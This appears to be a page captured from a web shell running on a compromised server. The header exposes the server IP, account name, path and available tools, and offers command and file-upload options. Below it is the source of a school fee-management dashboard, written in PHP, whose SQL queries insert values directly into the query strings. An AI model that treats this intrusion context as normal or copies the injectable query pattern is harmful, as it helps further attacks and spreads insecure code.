|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/bengaledu.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
$installment_id=mysqli_fetch_array($installment_id);
$installment_id=$installment_id['menuper'];
$menuper=explode(',',$installment_id);
if(in_array('Dashboard',$menuper)){
}else{
header("location:index.php");
}
?>
<?php include("include/header.php"); ?>
<?php include("banktobalance.php"); ?>
<?php include("include/sidebar.php"); ?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper" style='height:805px;'>
<section class="content-header">
<h1>
Dashboard
<small>Control panel</small>
</h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li class="active">Dashboard</li>
</ol>
</section>
<!-- Main content -->
<section class="content" style="min-height: 0px;">
<!-- Small boxes (Stat box) -->
<div class="row">
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-aqua">
<div class="inner">
<?php $Query=mysqli_query($con,"SELECT * ,sum(dueamount) as dueamount
,sum(duemiscfee) as duemiscfee FROM admission_enquiry_form
WHERE created_at > (NOW() - INTERVAL 1 MONTH)");
$Rowh=mysqli_fetch_array($Query);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<h3 >
<?php if(isset($Rowh['dueamount'])){ ?>
<?php echo number_format($Rowh['dueamount'])."<br>";; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00c0ef;'>kk</p>
</div>
<div class="icon">
<i class="ion ion-stats-bars"></i>
</div>
<a href="#" class="small-box-footer">Total Fee Due Till Date <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-green">
<div class="inner">
<h3 ><?php if(isset($Rowh['duemiscfee'])){ ?>
<?php echo number_format($Rowh['duemiscfee'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00a65a;'>kk</p>
</div>
<div class="icon">
<i class="ion ion-stats-bars"></i>
</div>
<a href="#" class="small-box-footer">Total Other Fee Due Till Date <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-yellow">
<div class="inner">
<?php
$occDate=date('m/d/Y');
$forOdNextMonth= date('m', strtotime($occDate."+1 month"));
//echo $forOdNextMonth;
$Query=mysqli_query($con,"SELECT * ,sum(amount) as amount
FROM setinstallment
WHERE installmentdate like '".$forOdNextMonth."%'");
$Row=mysqli_fetch_array($Query);
$payinstallment=mysqli_query($con,"SELECT * ,sum(payment_amount) as payment_amount
FROM payinstallment
WHERE payment_date like '".$forOdNextMonth."%'");
$payinstallment=mysqli_fetch_array($payinstallment);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<h3 ><?php if(isset($Row['amount'])){ ?>
<?php echo number_format($Row['amount']-$payinstallment['payment_amount'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#f39c12;'>kk</p>
</div>
<div class="icon">
<i class="ion ion-person-add"></i>
</div>
<a href="#" class="small-box-footer">Next Month Installment Total <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-red">
<div class="inner">
<?php $Querys=mysqli_query($con,"select *
FROM commenacademicyear where id='".$Rowh['academicyear']."'");
$Rowsf=mysqli_fetch_array($Querys);
$academictitle=$Rowsf['academictitle'];
$academictitle=explode('-',$academictitle);
$f1=$academictitle[0].'-01-01';
$f2=$academictitle[1].'-01-01';
$Query=mysqli_query($con,"select *,sum(transactionamount) as transactionamount
FROM banktocash where created_at between '".$f1."' and LAST_DAY('".$f2."')");
$Row=mysqli_fetch_array($Query);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
$upuserresultgs=mysqli_query($con,"select * from totalcash where id='1'");
$upuserresultgsf=mysqli_fetch_array($upuserresultgs);
?>
<h3 ><?php if(isset($upuserresultgsf['cash'])){ ?>
<?php echo number_format($upuserresultgsf['cash'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#dd4b39;'>kk</p>
</div>
<div class="icon">
<i class="ion ion-pie-graph"></i>
</div>
<a href="#" class="small-box-footer">Cash In Hand <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
</div><!-- /.row -->
</section><!-- /.content -->
<section class="content" style="min-height: 0px;">
<!-- Small boxes (Stat box) -->
<div class="row">
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-aqua">
<div class="inner">
<?php
$upuserresultgs=mysqli_query($con,"select *,sum(bank_amount) as bank_amount from bankdetails ");
$amountr=0;
while($bank_amount=mysqli_fetch_array($upuserresultgs)){
$amountr +=$bank_amount['bank_amount'];
}
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<h3 >
<?php if(isset($amountr)){ ?>
<?php echo number_format($amountr)."<br>";; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00c0ef;'>kk</p>
</div>
<div class="icon">
<i class="ion ion-stats-bars"></i>
</div>
<a href="#" class="small-box-footer">Balance @ Bank <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-green">
<div class="inner">
<?php
$party_payment=mysqli_query($con,"SELECT * ,sum(DueAmount) as DueAmount
FROM party_payment
");
$party_payment=mysqli_fetch_array($party_payment);
?>
<h3 ><?php if(isset($party_payment['DueAmount'])){ ?>
<?php echo number_format($party_payment['DueAmount'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00a65a;'>kk</p>
</div>
<div class="icon">
<i class="ion ion-stats-bars"></i>
</div>
<a href="#" class="small-box-footer">Payment Pending Suppliers <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-yellow">
<div class="inner">
<?php
$occDate=date('m/d/Y');
$forOdNextMonth= date('m', strtotime($occDate."+1 month"));
//echo $forOdNextMonth;
$Query=mysqli_query($con,"SELECT * ,sum(amount) as amount
FROM setinstallment
WHERE installmentdate like '".$forOdNextMonth."%'");
$Row=mysqli_fetch_array($Query);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<p ><?php echo date('m/d/Y h:i:s A'); ?></p>
<p style='color:#f39c12;'>kk</p>
</div>
<div class="icon">
<i class="ion ion-person-add"></i>
</div>
<a href="#" class="small-box-footer">Current Date And Time <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
</div><!-- /.row -->
</section><!-- /.content -->
<!-- Small boxes (Stat box) -->
<!--<div class="col-lg-9 col-xs-16" style='margin-top:-15px;'>
<div class="col-md-12 col-xs-12">
<div class="card">
<div class="card-block">
<h3 class="card-title" style='margin:15px;'>Income Expence Graph</h3>
</div>
<div class="ct-chart-dashboard ct-chart-blue" style='height:400px;'>
<svg width='100%' style='margin-top:-310px;'
>
</svg></div>
</div>
</div>
</div>
<!-- /.content -->
</div><!-- /.content-wrapper -->
<?php include('include/footer.php');?>
<script type="text/javascript">
$(function() {
// Dashboard Sales Chart
// ------------------------------------------------------------------
var dataMain = {
labels: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
series: [
[5, 4, 3, 7, 5, 10, 3, 4, 8, 10, 6, 8],
[3, 2, 9, 5, 4, 6, 4, 6, 7, 8, 7, 4]
]
};
var optionsMain = {
seriesBarDistance: 10
};
var responsiveOptionsMain = [
['screen and (max-width: 640px)', {
seriesBarDistance: 5,
axisX: {
labelInterpolationFnc: function (value) {
return value[0];
}
}
}]
];
var chart = new Chartist.Bar('.ct-chart-dashboard', dataMain, optionsMain, responsiveOptionsMain);
});
</script>